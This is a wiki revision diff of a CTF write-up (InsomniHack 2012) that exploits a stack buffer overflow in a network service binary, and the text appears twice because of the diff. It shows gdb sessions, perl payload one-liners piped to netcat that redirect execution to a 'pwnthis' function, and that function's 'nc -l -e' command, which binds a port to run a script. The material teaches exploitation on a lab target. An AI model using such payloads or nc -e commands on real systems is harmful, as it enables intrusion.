Difference between revisions of "InsomniHack-2012/Exploitation/3 Taberne"

From Fixme.ch
Jump to: navigation, search
 
(2 intermediate revisions by 2 users not shown)
Line 1: Line 1:
 
We downloaded a file called "toto",
 
We downloaded a file called "toto",
  
<pre>
+
<syntaxhighlight lang="bash">
 
# file toto  
 
# file toto  
 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
Line 42: Line 42:
  
 
# ./toto 1234
 
# ./toto 1234
</pre>
+
</syntaxhighlight>
  
 
On a client, we get:
 
On a client, we get:
<pre>
+
<syntaxhighlight lang="bash">
 
> nc 172.16.199.131 1234
 
> nc 172.16.199.131 1234
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
 
De dieu, tu t'en souviens pas? C'est balot!
 
De dieu, tu t'en souviens pas? C'est balot!
</pre>
+
</syntaxhighlight>
  
 
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
 
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
<pre>
+
<syntaxhighlight lang="bash">
 
# gdb -q ./toto  
 
# gdb -q ./toto  
 
(gdb) set follow-fork-mode child
 
(gdb) set follow-fork-mode child
Line 58: Line 58:
 
(gdb) r 1234
 
(gdb) r 1234
 
Starting program: /root/toto 1234
 
Starting program: /root/toto 1234
</pre>
+
</syntaxhighlight>
  
 
On the client, let's do:
 
On the client, let's do:
<pre>
+
<syntaxhighlight lang="bash">
 
> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
 
> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe:
</pre>
+
</syntaxhighlight>
 
And the server segfaults:
 
And the server segfaults:
<pre>
+
<syntaxhighlight lang="bash">
 
Program received signal SIGSEGV, Segmentation fault.
 
Program received signal SIGSEGV, Segmentation fault.
 
[Switching to process 1962]
 
[Switching to process 1962]
 
0x41414141 in ?? ()
 
0x41414141 in ?? ()
</pre>
+
</syntaxhighlight>
The backtrace is definitely screwed, so we just have a quick look:
+
The backtrace is definitely screwed,  
  
<pre>
+
<syntaxhighlight lang="bash">
 +
(gdb) bt
 +
#0  0x41414141 in ?? ()
 +
#1  0x0000000a in ?? ()
 +
#2  0x00000006 in ?? ()
 +
#3  0xbfa7476c in ?? ()
 +
#4  0xb7f73ff4 in ?? () from /lib/ld-linux.so.2
 +
#5  0xb7f57b0c in ?? ()
 +
#6  0x00000001 in ?? ()
 +
#7  0xbfa746b4 in ?? ()
 +
#8  0xf3b80002 in ?? ()
 +
#9  0x01c710ac in ?? ()
 +
#10 0x00000000 in ?? ()
 +
</syntaxhighlight>
 +
 
 +
so we just have a quick look:
 +
 
 +
<syntaxhighlight lang="asm">
  
 
0804888c <checkPass>:
 
0804888c <checkPass>:
Line 79: Line 96:
 
  804888d:      89 e5                  mov    ebp,esp
 
  804888d:      89 e5                  mov    ebp,esp
 
  804888f:      83 ec 28                sub    esp,0x28
 
  804888f:      83 ec 28                sub    esp,0x28
  8048892:      c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20 <------
+
  8048892:      c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20
 
  8048899:      00  
 
  8048899:      00  
 
  804889a:      8d 45 f0                lea    eax,[ebp-0x10]
 
  804889a:      8d 45 f0                lea    eax,[ebp-0x10]
Line 88: Line 105:
 
  80488ac:      c9                      leave   
 
  80488ac:      c9                      leave   
 
  80488ad:      c3                      ret   
 
  80488ad:      c3                      ret   
</pre>
+
</syntaxhighlight>
  
 
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
 
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
  
<pre>
+
<syntaxhighlight lang="asm">
(gdb) b *0x80488ad
+
Breakpoint 1 at 0x80488ad
+
 
(gdb) b *0x80488ad
 
(gdb) b *0x80488ad
 
Breakpoint 1 at 0x80488ad
 
Breakpoint 1 at 0x80488ad
Line 105: Line 120:
 
0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000
 
0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000
 
0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
 
0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
</pre>
+
</syntaxhighlight>
 
So we rewrote with 0x41414141. What to put here ?
 
So we rewrote with 0x41414141. What to put here ?
 
By having a very quick look at the binary, there is an interesting function called pwnthis:
 
By having a very quick look at the binary, there is an interesting function called pwnthis:
  
<pre>
+
<syntaxhighlight lang="asm">
 
(gdb) disassemble pwnthis  
 
(gdb) disassemble pwnthis  
 
Dump of assembler code for function pwnthis:
 
Dump of assembler code for function pwnthis:
Line 149: Line 164:
 
0x0804888b <pwnthis+156>: ret     
 
0x0804888b <pwnthis+156>: ret     
  
</pre>
+
</syntaxhighlight>
  
  
Line 155: Line 170:
 
So we are going to write the address to return there and break before the system to see the content:
 
So we are going to write the address to return there and break before the system to see the content:
  
<pre>
+
<syntaxhighlight lang="bash">
 
> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
 
> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe:  
 
Adieu l'ami, dis-voir c'que c'est ton mot de passe:  
</pre>
+
</syntaxhighlight>
 
And on the server side:
 
And on the server side:
<pre>
+
<syntaxhighlight lang="bash">
 
Breakpoint 2, 0x0804887e in pwnthis ()
 
Breakpoint 2, 0x0804887e in pwnthis ()
 
(gdb) x /wx $esp
 
(gdb) x /wx $esp
Line 166: Line 181:
 
(gdb) x /s 0xbf9e3c83
 
(gdb) x /s 0xbf9e3c83
 
0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
 
0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
</pre>
+
</syntaxhighlight>
 
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
 
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write
  
  
 
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
 
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
<pre>
+
<syntaxhighlight lang="bash">
 
> nc 172.16.199.131 1128
 
> nc 172.16.199.131 1128
</pre>
+
</syntaxhighlight>

Latest revision as of 13:03, 6 March 2012

We downloaded a file called "toto",

# file toto 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 
# strings toto 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
fork
listen
strlen
bind
read
memcpy
strcat
bzero
system
atoi
close
accept
__libc_start_main
write
snprintf
GLIBC_2.0
PTRh@
[^_]
ERROR writing to socket
nc -l -e /tmp/showpass.sh -p 
ERROR opening socket
ERROR on binding
ERROR on accept
Error on fork
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 
De dieu, tu t'en souviens pas? C'est balot!
 
# ./toto 1234

On a client, we get:

> nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
De dieu, tu t'en souviens pas? C'est balot!

It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):

# gdb -q ./toto 
(gdb) set follow-fork-mode child
(gdb) set disassembly-flavor intel
(gdb) r 1234
Starting program: /root/toto 1234

On the client, let's do:

> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And the server segfaults:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1962]
0x41414141 in ?? ()

The backtrace is definitely screwed,

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x0000000a in ?? ()
#2  0x00000006 in ?? ()
#3  0xbfa7476c in ?? ()
#4  0xb7f73ff4 in ?? () from /lib/ld-linux.so.2
#5  0xb7f57b0c in ?? ()
#6  0x00000001 in ?? ()
#7  0xbfa746b4 in ?? ()
#8  0xf3b80002 in ?? ()
#9  0x01c710ac in ?? ()
#10 0x00000000 in ?? ()

so we just have a quick look:

0804888c <checkPass>:
 804888c:       55                      push   ebp
 804888d:       89 e5                   mov    ebp,esp
 804888f:       83 ec 28                sub    esp,0x28
 8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20
 8048899:       00 
 804889a:       8d 45 f0                lea    eax,[ebp-0x10]
 804889d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80488a1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80488a4:       89 04 24                mov    DWORD PTR [esp],eax
 80488a7:       e8 48 fd ff ff          call   80485f4 <read@plt>
 80488ac:       c9                      leave  
 80488ad:       c3                      ret

We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:

(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad
(gdb) c
Breakpoint 1, 0x080488ad in checkPass ()
Current language:  auto; currently asm
(gdb) x /16wx $esp
0xbfe019ac:	0x41414141	0x0000000a	0x00000007	0xbfe01afc
0xbfe019bc:	0xb7f02ff4	0xb7ee6b0c	0x00000001	0xbfe01a44
0xbfe019cc:	0xb5df0002	0x01c710ac	0x00000000	0x00000000
0xbfe019dc:	0xd4040002	0x00000000	0x00000000	0x00000000

So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:

(gdb) disassemble pwnthis 
Dump of assembler code for function pwnthis:
0x080487ef <pwnthis+0>:	push   ebp
0x080487f0 <pwnthis+1>:	mov    ebp,esp
0x080487f2 <pwnthis+3>:	push   ebx
0x080487f3 <pwnthis+4>:	sub    esp,0x124
0x080487f9 <pwnthis+10>:	mov    eax,DWORD PTR [ebp+0x8]
0x080487fc <pwnthis+13>:	mov    DWORD PTR [esp+0xc],eax
0x08048800 <pwnthis+17>:	mov    DWORD PTR [esp+0x8],0x8048b18
0x08048808 <pwnthis+25>:	mov    DWORD PTR [esp+0x4],0x5
0x08048810 <pwnthis+33>:	lea    eax,[ebp-0x9]
0x08048813 <pwnthis+36>:	mov    DWORD PTR [esp],eax
0x08048816 <pwnthis+39>:	call   0x80486b4 <snprintf@plt>
0x0804881b <pwnthis+44>:	mov    DWORD PTR [esp+0x4],0x100
0x08048823 <pwnthis+52>:	lea    eax,[ebp-0x109]
0x08048829 <pwnthis+58>:	mov    DWORD PTR [esp],eax
0x0804882c <pwnthis+61>:	call   0x80486a4 <bzero@plt>
0x08048831 <pwnthis+66>:	mov    DWORD PTR [esp+0x8],0x1e
0x08048839 <pwnthis+74>:	mov    DWORD PTR [esp+0x4],0x8048b1b
0x08048841 <pwnthis+82>:	lea    ebx,[ebp-0x109]
0x08048847 <pwnthis+88>:	lea    eax,[ebp-0x109]
0x0804884d <pwnthis+94>:	mov    DWORD PTR [esp],eax
0x08048850 <pwnthis+97>:	call   0x8048644 <strlen@plt>
0x08048855 <pwnthis+102>:	lea    eax,[ebx+eax*1]
0x08048858 <pwnthis+105>:	mov    DWORD PTR [esp],eax
0x0804885b <pwnthis+108>:	call   0x8048634 <memcpy@plt>
0x08048860 <pwnthis+113>:	lea    eax,[ebp-0x9]
0x08048863 <pwnthis+116>:	mov    DWORD PTR [esp+0x4],eax
0x08048867 <pwnthis+120>:	lea    eax,[ebp-0x109]
0x0804886d <pwnthis+126>:	mov    DWORD PTR [esp],eax
0x08048870 <pwnthis+129>:	call   0x8048684 <strcat@plt>
0x08048875 <pwnthis+134>:	lea    eax,[ebp-0x109]
0x0804887b <pwnthis+140>:	mov    DWORD PTR [esp],eax
0x0804887e <pwnthis+143>:	call   0x80485a4 <system@plt>
0x08048883 <pwnthis+148>:	add    esp,0x124
0x08048889 <pwnthis+154>:	pop    ebx
0x0804888a <pwnthis+155>:	pop    ebp
0x0804888b <pwnthis+156>:	ret


So we are going to write the address to return there and break before the system to see the content:

> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And on the server side:

Breakpoint 2, 0x0804887e in pwnthis ()
(gdb) x /wx $esp
0xbf9e3c64:	0xbf9e3c83
(gdb) x /s 0xbf9e3c83
0xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 1128

Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write


So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.

> nc 172.16.199.131 1128